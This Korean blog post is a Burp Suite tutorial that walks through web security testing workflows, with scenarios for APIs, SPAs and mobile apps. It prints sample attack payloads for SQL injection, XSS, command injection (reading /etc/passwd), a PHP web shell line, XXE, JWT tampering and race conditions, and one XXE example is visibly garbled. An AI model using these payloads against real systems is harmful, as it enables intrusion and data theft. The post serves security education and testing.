본문 바로가기
카테고리 없음

Burp Suite란

by SuldenLion 2026. 4. 5.
반응형

Burp Suite: 웹 애플리케이션 보안 테스트의 스위스 아미 나이프

들어가며

웹 애플리케이션은 현대 비즈니스의 중심입니다. 온라인 뱅킹, 이커머스, SaaS, 소셜 미디어 - 우리의 일상과 업무는 웹 애플리케이션에 의존합니다. 그러나 이러한 애플리케이션은 수많은 보안 취약점에 노출되어 있습니다.

OWASP Top 10에 따르면, SQL 인젝션, XSS(크로스 사이트 스크립팅), 취약한 인증, 민감 데이터 노출 등이 웹 애플리케이션의 가장 일반적인 위협입니다. 이러한 취약점을 개발 단계에서 발견하고 수정하지 않으면, 공격자들이 악용하여 데이터 유출, 서비스 중단, 금전적 손실을 초래할 수 있습니다.

바로 이 지점에서 Burp Suite가 등장합니다. 2003년 PortSwigger에서 개발한 Burp Suite는 웹 애플리케이션 보안 테스트의 사실상 산업 표준이 되었습니다. 침투 테스터, 보안 연구원, 개발자들이 가장 신뢰하는 도구로, 웹 애플리케이션의 모든 HTTP/HTTPS 트래픽을 가로채고, 분석하고, 조작하여 취약점을 발견할 수 있게 해줍니다.

Burp Suite란 무엇인가?

Burp Suite는 웹 애플리케이션 보안 테스트를 위한 통합 플랫폼입니다. 단일 도구가 아니라, 서로 연동되어 작동하는 여러 도구들의 모음입니다.

핵심 개념

1. 인터셉팅 프록시 (Intercepting Proxy)

  • 브라우저와 웹 서버 사이에 위치
  • 모든 HTTP/HTTPS 요청과 응답을 가로채기
  • 실시간으로 트래픽 검사 및 수정

2. 수동 및 자동 테스팅

  • 수동 테스트: 침투 테스터의 전문 지식 활용
  • 자동 스캐닝: 알려진 취약점 자동 탐지
  • 하이브리드 접근: 최상의 결과

3. 확장성

  • BApp Store를 통한 플러그인
  • Python/Java API로 커스텀 도구 개발
  • 다른 보안 도구와 통합

Burp Suite 에디션 비교

Burp Suite Community Edition (무료)

  • 기본 프록시 기능
  • 수동 테스팅 도구
  • 제한적인 스캐너
  • 개인 학습 및 연구용
  • 저장 및 프로젝트 기능 제한

Burp Suite Professional ($449/연)

  • 완전한 자동 스캐너
  • 무제한 프로젝트 저장
  • 고급 스캔 설정
  • CI/CD 통합
  • 우선 기술 지원
  • 상용 사용 가능

Burp Suite Enterprise Edition (맞춤 가격)

  • 대규모 조직용
  • 중앙 집중식 관리
  • 자동화된 스케줄 스캔
  • 다중 사용자 협업
  • 엔터프라이즈 보고서
  • API 기반 자동화

Burp Suite의 주요 도구들

1. Proxy (프록시)

Burp Suite의 가장 핵심적인 도구입니다.

기능:

  • HTTP/HTTPS 트래픽 가로채기
  • 요청/응답 실시간 수정
  • 트래픽 히스토리 기록
  • 필터링 및 검색

사용 시나리오:

인증 우회 테스트:

 
 
http
원본 요청:
POST /login HTTP/1.1
Host: example.com
Content-Type: application/json

{"username": "user", "password": "test123"}

프록시에서 수정:
POST /login HTTP/1.1
Host: example.com
Content-Type: application/json

{"username": "admin", "password": "test123", "isAdmin": true}

숨겨진 파라미터 발견:

 
 
http
원본:
POST /transfer HTTP/1.1
amount=100&to_account=12345

테스트:
POST /transfer HTTP/1.1
amount=100&to_account=12345&bypass_limit=true&admin=1
```

**주요 기능:**

**1. Intercept (가로채기)**
- 요청/응답을 실시간으로 멈춤
- 수정 후 전달 또는 드롭
- 조건부 가로채기 설정 가능

**2. HTTP History**
- 모든 요청/응답 기록
- 검색 및 필터
- 특정 트래픽만 표시

**3. WebSockets 지원**
- 실시간 양방향 통신 가로채기
- WebSocket 메시지 수정
- 채팅, 실시간 업데이트 앱 테스트

**4. Match and Replace**
- 자동 패턴 치환
- 헤더, 쿠키 자동 수정
- 반복 작업 자동화

**설정 예시:**
```
Match: Cookie: session=.*
Replace: Cookie: session=modified_session_token

Match: User-Agent: .*
Replace: User-Agent: BurpSuite/Pro

2. Repeater (리피터)

개별 HTTP 요청을 반복적으로 테스트하는 도구입니다.

기능:

  • 요청을 수동으로 수정하고 재전송
  • 응답 실시간 확인
  • 다양한 페이로드 빠르게 테스트

사용 예시:

SQL Injection 테스트:

 
 
http
1차 시도:
GET /product?id=1 HTTP/1.1
응답: Product details...

2차 시도:
GET /product?id=1' HTTP/1.1
응답: SQL syntax error...  ← 취약점 발견!

3차 시도:
GET /product?id=1' OR '1'='1 HTTP/1.1
응답: All products displayed  ← 확인!

XSS 테스트:

 
 
http
1차:
POST /comment HTTP/1.1
comment=Hello World

2차:
POST /comment HTTP/1.1
comment=<script>alert(1)</script>

3차:
POST /comment HTTP/1.1
comment=<img src=x onerror=alert(1)>

4차:
POST /comment HTTP/1.1
comment=<svg/onload=alert(1)>
```

**주요 기능:**

**1. Request Tabs**
- 여러 요청 동시 작업
- 탭 간 빠른 전환
- 요청 비교

**2. Message Editor**
- Raw, Pretty, Hex 뷰
- 문법 하이라이팅
- 빠른 편집

**3. Response Analysis**
- 응답 시간 측정
- 상태 코드 확인
- 응답 길이 비교

### 3. Intruder (침입자)

자동화된 공격 도구로, 페이로드를 체계적으로 삽입하여 취약점을 찾습니다.

**공격 유형:**

**1. Sniper (저격수)**
```
원본: POST /login
username=§admin§&password=§password§

실행:
username=admin&password=password
username=test1&password=password
username=test2&password=password
username=admin&password=password
username=admin&password=pass1
username=admin&password=pass2
```
- 한 번에 하나의 위치만 변경
- 각 페이로드 위치를 순차적으로 테스트

**2. Battering Ram (공성퇴)**
```
원본: username=§test§&password=§test§

실행:
username=admin&password=admin
username=user1&password=user1
username=user2&password=user2
```
- 모든 위치에 동일한 페이로드
- 동일한 값이 여러 곳에 필요한 경우

**3. Pitchfork (쇠스랑)**
```
페이로드 세트 1: admin, user1, user2
페이로드 세트 2: pass1, pass2, pass3

실행:
username=admin&password=pass1
username=user1&password=pass2
username=user2&password=pass3
```
- 여러 페이로드 세트를 병렬로 사용
- 알려진 사용자명/비밀번호 조합 테스트

**4. Cluster Bomb (집속탄)**
```
페이로드 세트 1: admin, user
페이로드 세트 2: pass1, pass2, pass3

실행:
username=admin&password=pass1
username=admin&password=pass2
username=admin&password=pass3
username=user&password=pass1
username=user&password=pass2
username=user&password=pass3
```
- 모든 조합 테스트
- 가장 포괄적이지만 느림

**페이로드 유형:**

**1. Simple List**
- 사전 파일 (wordlist)
- 일반적인 사용자명, 비밀번호

**2. Runtime File**
- 대용량 파일에서 실시간 로드
- 메모리 효율적

**3. Numbers**
```
From: 1
To: 1000
Step: 1
→ 1, 2, 3, ..., 1000

Format: %04d
→ 0001, 0002, 0003, ..., 1000
```

**4. Brute Forcer**
```
Character set: abc
Min length: 2
Max length: 3

생성: aa, ab, ac, ba, bb, bc, ca, cb, cc,
      aaa, aab, aac, aba, ...
```

**5. Custom Iterator**
```
Position 1: 2023, 2024
Position 2: 01, 02, 03, ..., 12
Position 3: 01, 02, 03, ..., 31

생성: 2023-01-01, 2023-01-02, ...

실제 사용 예시:

비밀번호 스프레이 공격 탐지:

 
 
http
POST /login HTTP/1.1
Host: example.com

username=admin&password=§Password123§

페이로드:
Password123
Welcome123
Company2024
[...]

결과 분석:
- 대부분 403 Forbidden
- 하나만 302 Redirect → 취약한 비밀번호 발견

IDOR (Insecure Direct Object Reference) 테스트:

 
 
http
GET /api/user/§1§/profile HTTP/1.1

페이로드: 1-1000

결과 필터:
- 200 OK with different user data → IDOR 취약점
- 403 Forbidden → 올바른 접근 제어
```

### 4. Scanner (스캐너) - Professional Only

자동화된 취약점 스캐너입니다.

**스캔 유형:**

**1. Crawl and Audit**
- 전체 애플리케이션 크롤링
- 모든 엔드포인트 발견
- 포괄적인 취약점 스캔

**2. Audit Selected Items**
- 특정 요청만 스캔
- 타겟 스캔으로 시간 절약
- 수동 테스트 보완

**탐지 가능한 취약점:**

**주입 공격:**
- SQL Injection
- NoSQL Injection
- OS Command Injection
- LDAP Injection
- XPath Injection
- XML Injection
- Server-Side Template Injection (SSTI)

**크로스 사이트 스크립팅:**
- Reflected XSS
- Stored XSS
- DOM-based XSS

**기타 취약점:**
- CSRF (Cross-Site Request Forgery)
- XXE (XML External Entity)
- SSRF (Server-Side Request Forgery)
- Path Traversal
- File Upload vulnerabilities
- Open Redirects
- Clickjacking
- CORS misconfiguration

**스캔 구성:**
```
Scan Configuration:
┌─────────────────────────────────────┐
│ Crawl Optimization                  │
│ ☑ Crawl dynamic content             │
│ ☑ Follow redirects                  │
│ ☐ Crawl external links              │
│                                     │
│ Audit Optimization                  │
│ ☑ SQL Injection                     │
│ ☑ XSS                               │
│ ☑ Command Injection                 │
│ Scan Speed: ████████░░ Thorough    │
│                                     │
│ Issue Definitions                   │
│ Severity: High, Medium, Low, Info   │
└─────────────────────────────────────┘
```

**스캔 결과 예시:**
```
Issue: SQL Injection
Severity: High
Confidence: Certain
Path: /products?id=1
Parameter: id

Evidence:
Request:
GET /products?id=1' HTTP/1.1

Response:
SQL syntax error near ''1'''

Recommendation:
사용자 입력을 파라미터화된 쿼리 또는 
준비된 문(prepared statement)으로 처리
```

### 5. Decoder (디코더)

다양한 인코딩/디코딩 및 해싱 도구입니다.

**지원 형식:**

**인코딩/디코딩:**
- URL encoding
- HTML encoding
- Base64
- ASCII Hex
- Gzip

**해싱:**
- MD5
- SHA-1
- SHA-256
- SHA-512

**실제 사용:**
```
입력: admin:password
Base64 인코딩 → YWRtaW46cGFzc3dvcmQ=
→ Authorization 헤더에 사용

입력: <script>alert(1)</script>
URL 인코딩 → %3Cscript%3Ealert%281%29%3C%2Fscript%3E
→ GET 파라미터로 전송

입력: {"user":"admin"}
URL 인코딩 → %7B%22user%22%3A%22admin%22%7D
→ JSON in URL 테스트
```

**Smart Decode:**
- 자동으로 인코딩 방식 탐지
- 다중 인코딩 자동 디코드
- 인코딩 체인 시각화
```
예시:
%2532%2566%253D
→ URL 디코드: %25%2f%3D
→ URL 디코드: %/=
→ URL 디코드: /=
```

### 6. Comparer (비교기)

두 개의 요청, 응답, 또는 데이터를 비교합니다.

**비교 모드:**

**1. Words**
- 단어 단위 차이
- 콘텐츠 변경 탐지

**2. Bytes**
- 바이트 단위 차이
- 정확한 변경 위치

**사용 사례:**

**세션 토큰 예측성 테스트:**
```
Session 1: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Session 2: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

비교 결과:
- Base64 부분 대부분 동일
- 타임스탬프 부분만 다름
- 예측 가능한 패턴 발견 → 취약점
```

**인증 우회 확인:**
```
일반 사용자 응답:
{"role": "user", "permissions": ["read"]}

관리자 응답:
{"role": "admin", "permissions": ["read", "write", "delete"]}

차이점 강조 → 권한 상승 가능성 분석
```

### 7. Sequencer (시퀀서)

세션 토큰이나 CSRF 토큰의 무작위성을 분석합니다.

**기능:**
- 토큰 엔트로피 분석
- 패턴 탐지
- 예측 가능성 평가

**테스트 프로세스:**
```
1. 토큰 수집:
   - 최소 100개 이상의 토큰 샘플
   - 동일 조건에서 생성된 토큰

2. 분석:
   - 비트 단위 엔트로피
   - 문자 분포
   - 패턴 탐지

3. 결과:
   Overall quality: Excellent
   Reliability: 99.8%
   Entropy: 128 bits
   → 안전한 토큰

   또는

   Overall quality: Poor
   Reliability: 34.2%
   Sequential pattern detected
   → 취약한 토큰, 예측 가능
```

**실제 예시:**

**취약한 세션 토큰:**
```
Token 1: USER0001202401151030
Token 2: USER0002202401151031
Token 3: USER0003202401151032

패턴:
- 순차적 사용자 ID
- 타임스탬프 포함
- 예측 및 위조 가능 → 심각한 취약점
```

**안전한 세션 토큰:**
```
Token 1: 7f4a9c2e8b1d...
Token 2: 3e9d7f1a4c8b...
Token 3: 9a2c4e7f1b8d...

분석:
- 무작위성 높음
- 패턴 없음
- 엔트로피 충분 → 안전

8. Extender (확장)

Burp Suite의 기능을 확장하는 플러그인 시스템입니다.

BApp Store 인기 확장:

1. Logger++

  • 향상된 로깅 기능
  • 맞춤형 필터
  • 데이터 내보내기

2. Autorize

  • 자동 권한 테스트
  • 수평/수직 권한 상승 탐지
  • 다중 사용자 시뮬레이션

3. Turbo Intruder

  • 초고속 HTTP 요청
  • Python 스크립팅
  • Race condition 테스트

4. ActiveScan++

  • 추가 취약점 스캔
  • 확장된 탐지 규칙
  • 커스텀 페이로드

5. Retire.js

  • JavaScript 라이브러리 취약점 탐지
  • 알려진 CVE 매칭
  • 오래된 라이브러리 경고

6. J2EE Scan

  • Java 기반 앱 특화 스캔
  • 직렬화 취약점
  • JBoss, WebLogic 등

7. JSON Web Tokens (JWT)

  • JWT 디코딩/인코딩
  • 서명 검증
  • 알고리즘 변조 테스트

커스텀 확장 개발:

 
 
python
# 간단한 Burp 확장 예시 (Jython)
from burp import IBurpExtender, IHttpListener

class BurpExtender(IBurpExtender, IHttpListener):
    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        callbacks.setExtensionName("Custom Extension")
        callbacks.registerHttpListener(self)
    
    def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
        if messageIsRequest:
            request = messageInfo.getRequest()
            analyzedRequest = self._helpers.analyzeRequest(request)
            
            # 모든 POST 요청에 커스텀 헤더 추가
            if analyzedRequest.getMethod() == "POST":
                headers = analyzedRequest.getHeaders()
                headers.add("X-Custom-Header: Test")
                
                body = request[analyzedRequest.getBodyOffset():]
                newRequest = self._helpers.buildHttpMessage(headers, body)
                messageInfo.setRequest(newRequest)
```

## Burp Suite 실전 워크플로우

### 초기 설정

**1. 프록시 설정**

**브라우저 설정:**
```
Firefox 권장 (프록시 설정 독립적)

설정:
Preferences → Network Settings → Manual proxy configuration
HTTP Proxy: 127.0.0.1
Port: 8080
☑ Also use this proxy for HTTPS
```

**또는 FoxyProxy 사용:**
- Burp 프로필 생성
- 빠른 전환
- 패턴 기반 자동 프록시

**2. CA 인증서 설치**

HTTPS 트래픽 가로채기를 위해 필수:
```
1. 브라우저에서 http://burpsuite 방문
2. "CA Certificate" 다운로드
3. 브라우저에 설치:

Firefox:
Preferences → Privacy & Security → Certificates → View Certificates
→ Authorities → Import → 신뢰 체크

Chrome (Windows):
Settings → Privacy and security → Security → Manage certificates
→ Trusted Root Certification Authorities → Import
```

**3. 스코프 설정**

테스트 대상만 집중:
```
Target → Scope
Add: https://target.com
☑ Use advanced scope control

Advanced:
Protocol: https
Host: ^target\.com$
File: .*
```

### 기본 취약점 테스팅 프로세스

**Phase 1: 정찰 (Reconnaissance)**

**목표:** 애플리케이션 이해 및 공격 표면 파악
```
1. Target → Site map
   - 모든 기능 수동 탐색
   - 사용자 흐름 파악
   - 입력 포인트 식별

2. Proxy → HTTP history
   - 트래픽 패턴 분석
   - API 엔드포인트 발견
   - 숨겨진 파라미터 찾기

3. 문서화:
   - 주요 기능 목록
   - 인증 메커니즘
   - 입력 검증 방식
```

**Phase 2: 스캐닝 (Scanning) - Pro Only**
```
Target → Site map → 우클릭 → Scan

또는

Scanner → New scan
→ URL 입력 또는 선택한 항목
→ Scan type: Crawl and audit
→ Configuration: Default 또는 커스텀
```

**스캔 중 수동 테스트 병행:**
- 자동화가 놓칠 수 있는 논리적 취약점
- 비즈니스 로직 결함
- 복잡한 인증 흐름

**Phase 3: 수동 테스팅**

**3.1 인증 테스트**
```
체크리스트:
□ 무차별 대입 공격 가능성
  → Intruder로 로그인 시도
  → 계정 잠금 정책 확인

□ 세션 관리
  → Sequencer로 토큰 무작위성 확인
  → 로그아웃 후 토큰 유효성
  → 세션 고정 공격

□ 비밀번호 재설정
  → 토큰 예측 가능성
  → 토큰 재사용 가능성
  → 정보 노출

실제 테스트:

 
 
http
# 비밀번호 재설정 토큰 테스트
POST /reset-password HTTP/1.1
email=victim@example.com

Response:
{"reset_token": "123456"}

테스트:
1. 토큰을 Sequencer로 분석
2. 패턴 발견 시 다음 토큰 예측
3. 피해자 토큰으로 비밀번호 변경 시도
```

**3.2 인가 테스트 (Authorization)**
```
시나리오: 다중 사용자 권한 테스트

1. 일반 사용자로 로그인
   세션 토큰: user_token

2. 관리자로 로그인
   세션 토큰: admin_token

3. 관리자 기능 요청 복사:
   GET /admin/users HTTP/1.1
   Cookie: session=admin_token

4. Repeater에서 토큰 변경:
   Cookie: session=user_token

5. 전송 후 응답 확인:
   - 200 OK → 수직 권한 상승 취약점!
   - 403 Forbidden → 올바른 접근 제어
```

**Autorize 확장 사용:**
```
1. Low-privilege user 세션 설정
2. High-privilege user로 탐색
3. 자동으로 모든 요청을 low-privilege로 재시도
4. 권한 상승 가능성 자동 탐지

3.3 주입 공격 테스트

SQL Injection:

 
 
http
# 기본 탐지
GET /product?id=1' HTTP/1.1
응답: SQL error → 취약점 가능성

# 확인
GET /product?id=1' OR '1'='1 HTTP/1.1
응답: 모든 제품 표시 → 확정

# 데이터 추출 (Union-based)
GET /product?id=1' UNION SELECT username,password FROM users-- HTTP/1.1

# Intruder로 자동화:
페이로드 세트: sqli-payloads.txt
Grep - Extract: 응답에서 민감 데이터 추출

XSS (Cross-Site Scripting):

 
 
http
# Reflected XSS
GET /search?q=<script>alert(1)</script> HTTP/1.1

응답 확인:
<h1>Results for <script>alert(1)</script></h1>
→ 필터링 없음, 취약!

# Stored XSS
POST /comment HTTP/1.1
comment=<img src=x onerror=alert(document.cookie)>

다른 사용자가 페이지 방문 시 실행 확인

# DOM-based XSS
GET /page#<img src=x onerror=alert(1)>
브라우저 개발자 도구로 실행 확인

Command Injection:

 
 
http
# 기본 테스트
POST /ping HTTP/1.1
host=8.8.8.8; ls

# Intruder 페이로드
; ls
| ls
& ls
&& ls
; cat /etc/passwd
| whoami
```

**3.4 비즈니스 로직 테스트**
```
예시: 전자상거래 가격 조작

1. 제품 카트에 추가 요청 캡처:
POST /cart/add HTTP/1.1
product_id=123&quantity=1&price=99.99

2. Repeater에서 가격 수정:
product_id=123&quantity=1&price=0.01

3. 결제 진행
4. 0.01달러로 구매 성공 → 취약점!

다른 시나리오:
- 마이너스 수량으로 환불 받기
- 쿠폰 중복 사용
- 레이스 컨디션 (동시 요청으로 잔액 초과 인출)

3.5 파일 업로드 취약점

 
 
http
# 정상 업로드
POST /upload HTTP/1.1
Content-Type: multipart/form-data

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="image.jpg"
Content-Type: image/jpeg

[JPEG data]

# 악성 파일 업로드 테스트:

1. 확장자 우회:
   - image.php
   - image.php.jpg
   - image.php%00.jpg (null byte)
   - image.PhP

2. MIME 타입 조작:
   Content-Type: image/jpeg
   [실제로는 PHP 코드]

3. Magic Bytes 조작:
   FF D8 FF E0 (JPEG 헤더)
   <?php system($_GET['cmd']); ?>

4. 업로드 후:
   - 파일 위치 확인
   - 직접 접근 가능 여부
   - 코드 실행 여부
```

### 고급 테스팅 기법

**1. Race Condition 테스트**
```
시나리오: 계좌 잔액 100달러, 동시에 두 번 100달러 인출

Turbo Intruder 스크립트:
```python
def queueRequests(target, wordlists):
    # 동일 요청 동시 전송
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=30,
    )
    
    request = '''POST /withdraw HTTP/1.1
Host: bank.com
Cookie: session=valid_token

amount=100'''
    
    # 정확히 동시에 30개 요청 전송
    for i in range(30):
        engine.queue(request, gate='race1')
    
    engine.openGate('race1')

def handleResponse(req, interesting):
    table.add(req)
```

**결과:**
```
정상: 1개만 성공, 나머지 "잔액 부족"
취약: 여러 개 성공, 총 인출액 > 잔액
```

**2. SSRF (Server-Side Request Forgery)**
```http
# 기본 탐지
POST /fetch-url HTTP/1.1
url=http://internal-server/admin

응답:
<html>Admin Panel...</html>
→ 내부 서버 접근 가능!

# Collaborator를 사용한 Out-of-Band 탐지:
Burp → Collaborator client
→ "Copy to clipboard" (예: abc123.burpcollaborator.net)

요청:
POST /fetch-url HTTP/1.1
url=http://abc123.burpcollaborator.net

Collaborator에서 DNS 또는 HTTP 요청 수신 확인
→ SSRF 취약점 확정
```

**3. XXE (XML External Entity)**
```xml
<!-- 기본 XXE -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
  <name>&xxe;</name>
</user>

<!-- Blind XXE with Collaborator -->
<!DOCTYPE foo [
  http://abc123.burpcollaborator.net">
  %xxe;
]>

<!-- XXE to SSRF -->
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://internal-server:8080/admin">
]>
<data>&xxe;</data>
```

**4. JWT 취약점 테스트**
```
JWT 구조:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJ1c2VyIjoiYWRtaW4iLCJleHAiOjE2MH0.
signature

JWT Editor 확장 사용:

1. 알고리즘 변조 (alg: none):
   {
     "alg": "none",
     "typ": "JWT"
   }
   서명 제거 후 전송

2. 알고리즘 변경 (RS256 → HS256):
   - 공개키로 서명 시도
   - 서버가 공개키로 검증하도록 속임

3. 클레임 조작:
   {"user": "admin", "role": "administrator"}
   재서명 (키 추측 또는 크랙)
```

## 보고서 작성 및 문서화

### Burp의 리포팅 기능

**Scanner Issues:**
```
Scanner → Issue activity → 우클릭 → Report selected issues

리포트 형식:
- HTML
- XML

포함 항목:
☑ Issue details
☑ HTTP requests/responses
☑ Remediation advice
☑ Vulnerability classification
☑ References (CVE, CWE)
```

**수동 테스트 문서화:**
```
각 발견 사항마다:

1. 취약점 제목:
   "SQL Injection in Product Search"

2. 심각도:
   High / Medium / Low

3. 설명:
   사용자 입력이 SQL 쿼리에 직접 사용되어 
   데이터베이스 조작이 가능함

4. 재현 단계:
   1. /search?q=test 접속
   2. q 파라미터를 1' OR '1'='1로 변경
   3. 모든 제품 데이터 노출 확인

5. 증거 (Evidence):
   [스크린샷]
   [요청/응답 캡처]

6. 영향 (Impact):
   - 모든 데이터베이스 데이터 유출 가능
   - 데이터 수정/삭제 가능
   - 관리자 권한 탈취 가능

7. 권장 사항 (Recommendation):
   - Prepared Statements 사용
   - 파라미터화된 쿼리
   - 입력 검증 강화
   - WAF 규칙 추가

8. 참조:
   - OWASP Top 10 2021: A03:2021 – Injection
   - CWE-89: SQL Injection
```

## 모범 사례 및 팁

### 효율성 향상

**1. 핫키 사용**
```
자주 사용하는 핫키:

Ctrl+R : Repeater로 전송
Ctrl+I : Intruder로 전송
Ctrl+Shift+B : Base64 인코딩
Ctrl+Shift+U : URL 인코딩
Ctrl+F : 검색
Ctrl+H : 히스토리에서 검색
```

**2. Target Scope 활용**
```
장점:
- 관련 트래픽만 집중
- Proxy history 깔끔하게
- Scanner 리소스 절약
- 실수로 다른 사이트 공격 방지

설정:
Target → Scope → Add
Proxy → Options → Intercept Client Requests
→ ☑ And URL is in target scope
```

**3. Session Handling Rules**
```
반복 작업 자동화:

예: 로그인 세션 자동 유지

Project options → Sessions → Session Handling Rules
→ Add

Rule Actions:
☑ Run a macro
→ Macro: 로그인 요청 시퀀스 기록
→ 세션 만료 시 자동 재로그인
```

**4. 맞춤형 워크스페이스**
```
View 메뉴에서 레이아웃 조정:

일반 워크플로우:
┌─────────────┬─────────────┐
│   Proxy     │   Repeater  │
├─────────────┼─────────────┤
│ Target Map  │   Logger    │
└─────────────┴─────────────┘

집중 분석:
┌─────────────────────────────┐
│         Repeater            │
├──────────────┬──────────────┤
│   Request    │   Response   │
└──────────────┴──────────────┘
```

### 보안 및 윤리

**1. 테스트 범위 명확화**
```
반드시 확인:
□ 서면 승인 (Authorization)
□ 명확한 스코프
□ 테스트 시간대
□ 연락처 (비상 상황)
□ 데이터 처리 방침
```

**2. 프로덕션 환경 주의**
```
위험한 테스트:
- Intruder 고속 스캔 (DoS 가능)
- 파괴적인 페이로드 (데이터 삭제)
- 대량 데이터 삽입

권장:
- 개발/스테이징 환경 우선
- 속도 제한 설정
- 백업 확인
- 점진적 테스트
```

**3. 데이터 보호**
```
민감 정보 처리:
- Burp 프로젝트 파일 암호화
- 세션 완료 후 데이터 삭제
- 스크린샷에서 민감 정보 마스킹
- 보고서에서 실제 데이터 제거

Project options → Misc
→ ☑ Pause capturing when Burp is minimized
→ ☑ Pause Spider when Burp is minimized
```

### 성능 최적화

**1. Proxy 필터링**
```
Proxy → Options → Intercept Client Requests

불필요한 트래픽 제외:
☑ File extension is one of: css, js, gif, jpg, png
☑ MIME type of response is image, css, script
```

**2. Intruder 스레드 조정**
```
Intruder → Options → Request Engine

Thread count:
- 기본: 10
- 느린 서버: 5
- 빠른 서버: 20-30
- Rate limiting 있을 때: 1-5

Delay between requests:
- 서버 부하 고려
- WAF 우회: 1000-2000ms
```

**3. Scanner 최적화**
```
Scanner → Options → Performance

Scan speed:
█████░░░░░ Fast (놓칠 수 있음)
████████░░ Thorough (권장)
██████████ Comprehensive (느림)

리소스 집약적 스캔 제한:
☐ Perform thorough parameter value analysis
☑ Skip parameter value checks for high-cost insertion points
```

## 실전 시나리오별 가이드

### 시나리오 1: API 보안 테스트

**준비:**
```
1. Postman 컬렉션 가져오기 (있다면)
2. API 문서 검토
3. 인증 메커니즘 이해 (OAuth, JWT, API Key)
```

**테스트 접근:**
```
1. 인증 테스트:
   - API 키 노출 확인 (JS 파일, 소스코드)
   - JWT 조작
   - OAuth 흐름 취약점

2. 입력 검증:
   POST /api/users HTTP/1.1
   Content-Type: application/json
   
   {"name": "test", "role": "admin"}
   → role 파라미터 조작
   
   {"name": "<script>alert(1)</script>"}
   → XSS
   
   {"name": "'; DROP TABLE users--"}
   → SQL Injection

3. 속도 제한:
   Intruder로 동일 요청 1000회
   → 429 Too Many Requests 확인
   → 없다면 DoS 가능

4. IDOR:
   GET /api/users/1 → 본인 정보
   GET /api/users/2 → 다른 사용자 정보 접근?

5. Mass Assignment:
   POST /api/profile HTTP/1.1
   {"email": "new@email.com", "isAdmin": true}
```

### 시나리오 2: SPA (Single Page Application) 테스트

**도전 과제:**
- JavaScript로 동적 생성되는 콘텐츠
- API 기반 통신
- 클라이언트 측 라우팅

**접근 방법:**
```
1. Burp의 브라우저 사용:
   Proxy → Intercept → Open Browser
   → Chromium 기반, Burp와 통합

2. WebSocket 트래픽:
   Proxy → WebSockets history
   → 실시간 메시지 가로채기

3. JavaScript 분석:
   Proxy → HTTP history → Filter: Script
   → JS 파일 다운로드
   → 소스코드 검토:
     * API 엔드포인트
     * 하드코딩된 비밀
     * 클라이언트 측 검증

4. DOM-based XSS:
   브라우저 개발자 도구 + Burp 조합
   → 클라이언트 측 코드 경로 추적

5. API GraphQL:
   POST /graphql HTTP/1.1
   
   쿼리:
   {
     __schema {
       types {
         name
       }
     }
   }
   → 전체 스키마 노출 확인
```

### 시나리오 3: 모바일 앱 API 테스트

**준비:**
```
1. 프록시 설정:
   - 모바일 디바이스 WiFi 설정
   - Proxy: [Burp 실행 PC IP]:8080
   - CA 인증서 설치 (디바이스에)

2. SSL Pinning 우회:
   Android:
   - Frida + objection
   - Xposed Framework
   
   iOS:
   - SSL Kill Switch 2
   - Burp Mobile Assistant
```

**테스트:**
```
1. 트래픽 캡처:
   - 앱의 모든 기능 사용
   - API 엔드포인트 매핑

2. 인증 토큰:
   - 저장 위치 (Shared Preferences, Keychain)
   - 갱신 메커니즘
   - 만료 처리

3. 하드코딩된 비밀:
   - APK/IPA 디컴파일
   - strings.xml, config 파일
   - API 키, 암호화 키

4. 앱 특화 취약점:
   - Deep Link 인젝션
   - Intent 조작 (Android)
   - URL Scheme 공격 (iOS)
```

## 학습 리소스 및 인증

### 학습 경로

**입문 (1-2개월):**
```
1. PortSwigger Web Security Academy
   - 무료 온라인 강의
   - 실습 Lab 환경
   - OWASP Top 10 커버

2. DVWA (Damn Vulnerable Web App)
   - 로컬 취약한 앱 설치
   - Burp로 실습

3. WebGoat (OWASP)
   - 교육용 취약한 앱
   - 단계별 가이드
```

**중급 (3-6개월):**
```
1. Hack The Box
   - 실전 웹 앱 챌린지
   - 커뮤니티 write-up

2. PentesterLab
   - 유료 강의 및 Lab
   - 실무 시나리오

3. Bug Bounty 참여
   - HackerOne, Bugcrowd
   - 실제 앱 테스트
   - 보상금 획득
```

**고급 (6개월+):**
```
1. 복잡한 시나리오:
   - 다단계 공격 체인
   - 비즈니스 로직 결함
   - Race condition, 타이밍 공격

2. 연구:
   - 새로운 취약점 발견
   - CVE 등록
   - 컨퍼런스 발표

3. 도구 개발:
   - Burp 확장 개발
   - 자동화 스크립트
   - 커스텀 스캐너
```

### 전문 인증

**Burp Suite Certified Practitioner (BSCP)**

PortSwigger의 공식 인증:
```
시험 정보:
- 기간: 4시간
- 형식: 실습 기반 (실제 취약점 찾기)
- 난이도: 중급-고급
- 비용: $99

준비:
1. Web Security Academy 전체 완료
2. Mystery Lab 모두 해결
3. 모의 시험 (PortSwigger 제공)

시험 범위:
- OWASP Top 10
- 고급 주입 공격
- 인증/인가 우회
- 비즈니스 로직
- 서버 측 취약점
```

**관련 인증:**
```
OSWE (Offensive Security Web Expert)
- 웹 앱 침투 테스트 고급
- 48시간 실습 시험
- 상세 보고서 작성

eWPTX (eLearnSecurity Web Penetration Tester eXtreme)
- 웹 앱 보안 전문가
- 14일 실습 시험

CEH (Certified Ethical Hacker)
- 포괄적 보안 인증 (웹 포함)
- 선택형 + 실습
```

## 최신 트렌드 및 미래

### Burp Suite의 진화

**최근 추가 기능 (2023-2024):**

**1. Burp Suite Scanner 개선**
- 머신러닝 기반 탐지
- 향상된 크롤링 (SPA 지원)
- GraphQL 네이티브 지원

**2. Bambda (필터 언어)**
```java
// HTTP History 커스텀 필터
request.isInScope() && 
request.hasParameter("id") && 
response.statusCode() == 200

// Repeater에서 자동 추출
response.contains("admin") || 
response.matches("\\d{4}-\\d{4}-\\d{4}-\\d{4}")
```

**3. Browser-Powered Scanning**
- 내장 Chromium 브라우저 사용
- JavaScript 실행 후 스캔
- 더 정확한 DOM XSS 탐지

**4. OpenAPI 지원**
```
Tools → Burp → Import OpenAPI/Swagger 파일
